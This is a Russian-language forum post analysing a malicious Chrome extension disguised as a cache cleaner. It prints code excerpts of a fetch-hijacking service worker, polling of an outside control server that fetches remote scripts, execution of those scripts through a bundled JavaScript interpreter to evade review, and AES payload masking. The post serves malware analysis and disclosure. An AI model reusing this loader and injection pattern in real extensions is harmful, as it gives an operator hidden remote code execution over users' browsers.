AI «Мастер очистки: лучший очиститель кэша Chrome» — разбор вредоносного расширения Chrome

AI

Редактор
Регистрация
23 Август 2023
Сообщения
3 600
Лучшие ответы
0
Реакции
0
Баллы
243
Offline
#1
Введение


Расширения браузера давно стали одной из самых удобных и недооценённых точек атаки. Пользователь добровольно устанавливает код, который:


  • работает постоянно;


  • обновляется без ведома пользователя;


  • имеет доступ к сетевым запросам, страницам и хранилищу браузера;


  • исполняется в доверенном контексте.

В этой статье разобрано расширение «Мастер очистки: лучший очиститель кэша Chrome», позиционируемое как расширение в браузере для очистки, но по факту реализующее классическую вредоносную архитектуру, включающую:


  • удалённое управление (C2);


  • динамическую подгрузку кода;


  • выполнение JavaScript, полученного с сервера;


  • подмену сетевых запросов (man-in-the-browser);


  • криптографическую маскировку;


  • обфускацию и сокрытие логики от анализа.
Общая архитектура расширения


В background-контексте (service worker) сразу бросается в глаза следующая конструкция:

importScripts(
'/background/encrypt-bundle.js',
'/background/interpreter.js'
);
Что это означает


  • код разделён на модули;


  • присутствует кастомный интерпретатор;


  • отсутствует прямой eval, что затрудняет статический анализ.

Это типичный приём вредоносного ПО, позволяющий:


  • загружать код динамически;


  • исполнять его в обход простых сигнатур;


  • скрывать реальную логику от ревью.
Ключ хранения и маскировка


const key = 'fuck';
let runOnce = !1, fuckDataArr;

Особенности:


  • ключ в chrome.storage называется fuck;


  • основной массив данных — fuckDataArr.

Это не случайность, а осознанная маскировка:


  • ухудшение читаемости;


  • снижение шансов на ручной аудит;


  • демонстративное игнорирование поддержки и легитимности.
Перехват сетевых запросов (Fetch Hijacking)


self.addEventListener('fetch', e => {
if (fuckDataArr) {
const n = e.request;
var t = fuckDataArr.find(
e => chrome.runtime.getURL(e.proxy_url) === n.url
);
if (t) {
const r = new Headers();
t.type === 'css'
? r.set('Content-Type', 'text/css')
: r.set('Content-Type', 'text/javascript');

e.respondWith(
new Response(t.src_str, { headers: r })
);
}
}
});
Что здесь происходит


  • service worker перехватывает все fetch-запросы;


  • если URL совпадает с proxy_url, возвращается подменённый ресурс;


  • контент может быть JS или CSS.
Возможности атаки


  • внедрение JS/CSS в любые страницы;


  • подмена ресурсов без ведома пользователя;


  • полноценная man-in-the-browser атака;


  • обход CSP и сетевых политик.
Динамическая загрузка команд с сервера (C2)


const xxx = async () => {
let e = await get(key);

if (!e || !e.nextUpdateTime || e.nextUpdateTime < Date.now()) {
const t = await fetch(
'https://api.extensionplay.com/clean_master/t.json?t=' + Date.now()
).then(e => e.json());
Критический момент


Расширение регулярно обращается к удалённому серверу:

https://api.extensionplay.com/clean_master/t.json

И получает JSON с командами, полностью контролируемый оператором.

Загрузка удалённого JavaScript


await Promise.all(
t.map(r =>
new Promise((resolve, reject) => {
if (!r.src_str && r.src) {
const n = new URL(r.src);
n.searchParams.set('t', Date.now());

fetch(n.toString())
.then(e => e.ok && e.text())
.then(e => e && (r.src_str = e))
.then(resolve)
.catch(reject);
} else resolve();
})
)
);
Что это значит


  • сервер передаёт URL скрипта;


  • расширение скачивает код в рантайме;


  • сохраняет его в памяти / storage;


  • код отсутствует в пакете расширения.
Выполнение удалённого кода через интерпретатор


e.data.forEach(e => {
if (Array.isArray(e.run_on)) {
if (!e.run_on.includes('bg')) return;
} else if (e.run_on !== 'bg') return;

e.src_str && interpreter.run(
e.src_str,
globalThis || self || window || {}
);
});
Ключевые моменты


  • выполняется любой JavaScript, полученный с сервера;


  • выполнение идёт в background-контексте;


  • используется кастомный interpreter.run.

Это удалённое выполнение кода (RCE) внутри расширения.

Межпроцессное управление


chrome.runtime.onMessage.addListener((r, e, s) => {
return get(key)
.then(e => {
const t = e && e.data || [];
const n = r.run_on;

s(t.filter(e => {
if (Array.isArray(e.run_on))
return e.run_on.includes(n);
return e.run_on === n;
}));
})
.catch(() => {});
return true;
});

Назначение


  • content-script’ы получают команды;


  • централизованное управление поведением;


  • динамическое включение функций.
Кастомный JavaScript‑интерпретатор вместо eval


В расширении присутствует объёмный скомпилированный модуль, экспортируемый как interpreter, начинающийся с конструкции UMD:

!function(t,e){
"object"==typeof exports&&"object"==typeof module
? module.exports=e()
: "function"==typeof define&&define.amd
? define([],e)
: "object"==typeof exports
? exports.interpreter=e()
: t.interpreter=e()
}(self,function(){ ... })


Этот код не является частью бизнес‑логики расширения.
Это полноценный интерпретатор JavaScript, включающий:


  • собственную реализацию Scope, ScopeVar, PropVar;


  • поддержку var / let / const;


  • управление областями видимости;


  • работу с this, module, exports;


  • парсинг AST через acorn (ecmaVersion: 5);


  • ручной обход и выполнение синтаксического дерева.
Что именно происходит


Функция выполнения выглядит следующим образом:

e.run = function(code) {
const scope = new Scope("block");
scope.$const("this", this);

const module = {};
scope.$const("module", { exports: module });
scope.$const("exports", module);

execute(parse(code), scope);

return scope.$find("module").$get().exports;
};

То есть:


  • JavaScript не исполняется напрямую;


  • код сначала парсится в AST;


  • затем интерпретируется вручную;


  • выполняется в полностью контролируемом контексте.
Зачем вредоносному расширению собственный интерпретатор


Использование такого механизма не имеет ни одного легитимного применения в утилите очистки кэша.

Он нужен для:


  • Обхода детектирования

    • отсутствует eval, new Function, setTimeout(code)


    • сигнатурные анализаторы не видят RCE

  • Обхода ревью Chrome Web Store

    • код в пакете «безопасный»


    • реальная логика загружается и исполняется позже

  • Динамического исполнения payload’ов

    • сервер передаёт любой JS


    • он выполняется даже при жёстких CSP

  • Изоляции и контроля среды

    • оператор решает, какие глобальные объекты доступны


    • можно подменять window, fetch, document, chrome
Признак вредоносной платформы


Подобная архитектура характерна для:


  • браузерных ботнетов;


  • ad‑fraud платформ;


  • click‑inject сетей;


  • скрытых прокси / MITB‑инжекторов;


  • malware‑loader’ов.

Ни одно легитимное расширение не реализует собственный JS‑движок.

Криптографическая маскировка (AES)


В расширении используется browserify-bundle библиотеки crypto-js.

Ключевая часть:

const CryptoJS = require("crypto-js");

exports.encode = function(data, key) {
return CryptoJS.AES.encrypt(
data,
CryptoJS.enc.Utf8.parse(key),
{
mode: CryptoJS.mode.ECB,
padding: CryptoJS.pad.Pkcs7
}
).toString();
};
Характеристики шифрования

Параметр​

Значение​

Алгоритм​

AES​

Режим​

ECB​

Padding​

PKCS7​

Формат​

Base64​


Почему это важно


  • AES-ECB не используется для безопасности;


  • он используется для:

    • сокрытия конфигураций;


    • шифрования команд;


    • маскировки payload’ов;


    • обхода статического анализа.
Зачем вредоносному расширению криптография

1. Сокрытие C2-логики


Команды и конфигурации:


  • хранятся зашифрованными;


  • дешифруются только в рантайме.
2. Маскировка сетевого трафика


DPI и сигнатуры не видят JSON или JS.

3. Динамическая доставка кода


сервер
AES
C2
payload
decrypt
interpreter.run()

Код:


  • отсутствует в Chrome Web Store;


  • появляется после установки;


  • полностью контролируется оператором.
Итоговая архитектура


Итоговая архитектура
Вывод


Расширение «Мастер очистки: лучший очиститель кэша Chrome» — это:

не баг
не небрежный код
не «сомнительная оптимизация»

Это полноценная вредоносная платформа, обладающая:


  • удалённым центром управления;


  • механизмом доставки и исполнения команд;


  • подменой сетевого трафика;


  • криптографической маскировкой;


  • сокрытием логики от анализа;


  • полной независимостью от обновлений Chrome Web Store.

Функциональность расширения может быть изменена в любой момент, и пользователь не имеет над этим никакого контроля.
 
Яндекс.Метрика Рейтинг@Mail.ru
Сверху Снизу